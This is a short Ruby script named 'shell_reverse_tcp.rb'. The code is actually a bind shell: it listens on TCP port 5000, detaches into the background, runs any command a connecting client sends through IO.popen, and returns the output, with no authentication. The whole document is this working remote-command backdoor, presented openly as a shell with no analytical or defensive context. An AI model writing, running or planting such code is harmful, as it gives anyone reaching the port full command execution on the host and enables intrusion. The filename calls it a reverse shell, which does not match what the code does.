shell_reverse_tcp.rb

require 'socket'
server = TCPServer.new "5000"
job = fork do
  loop do
    Thread.start(server.accept) do |client|
      client.print "-> "
      cmd = client.gets
      IO.popen(cmd.to_s.chomp!,"r") {|io| client.print io.read }
      client.close
    end
  end
end
Process.detach(job)